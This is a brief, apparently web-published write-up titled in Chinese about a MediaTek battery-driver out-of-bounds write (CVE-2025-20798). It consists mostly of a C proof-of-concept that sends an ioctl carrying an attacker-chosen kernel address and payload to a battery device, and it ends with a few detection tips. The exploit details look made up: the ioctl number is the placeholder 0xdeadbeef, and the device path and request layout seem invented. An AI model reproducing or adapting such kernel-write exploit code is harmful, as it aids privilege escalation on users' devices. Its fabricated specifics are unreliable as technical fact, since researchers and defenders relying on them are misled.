MediaTek电池组件越界写入权限提升漏洞(CVE-2025-20798)

/* CVE-2025-20798 PoC - MediaTek Battery Component Out-of-Bounds Write Note: This PoC is for educational and research purposes only. Requires local access and System privileges to execute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define BATTERY_DEVICE "/dev/battery_mtk" #define MALICIOUS_PAYLOAD_SIZE 256 // Trigger the OOB write in MediaTek battery driver int trigger_oob_write(int fd, unsigned long target_addr, char *payload, size_t payload_size) { // Construct IOCTL command to trigger battery driver vulnerability // The driver fails to check buffer boundaries before writing struct battery_ioctl_req { unsigned long addr; char data[512]; size_t len; } req; memset(&req, 0, sizeof(req)); req.addr = target_addr; req.len = payload_size; memcpy(req.data, payload, payload_size); // IOCTL call that triggers the vulnerable code path return ioctl(fd, 0xdeadbeef, &req); // 0xdeadbeef = BATTERY_WRITE_CMD } int main(int argc, char *argv[]) { int fd; char payload[MALICIOUS_PAYLOAD_SIZE]; unsigned long kernel_addr; if (argc < 2) { fprintf(stderr, "Usage: %s <kernel_target_addr>\n", argv[0]); return -1; } kernel_addr = strtoul(argv[1], NULL, 16); // Open the battery device fd = open(BATTERY_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open battery device"); return -1; } // Prepare malicious payload memset(payload, 0x41, MALICIOUS_PAYLOAD_SIZE); printf("[*] Triggering OOB write to address: 0x%lx\n", kernel_addr); printf("[*] Payload size: %d bytes\n", MALICIOUS_PAYLOAD_SIZE); // Trigger the vulnerability if (trigger_oob_write(fd, kernel_addr, payload, MALICIOUS_PAYLOAD_SIZE) < 0) { fprintf(stderr, "[!] IOCTL call failed\n"); } else { printf("[+] OOB write triggered successfully\n"); } close(fd); return 0; } /* Detection Method: 1. Monitor battery driver IOCTL calls for anomalous behavior 2. Check for unexpected memory access patterns in kernel logs 3. Verify battery driver version < ALPS10315812 */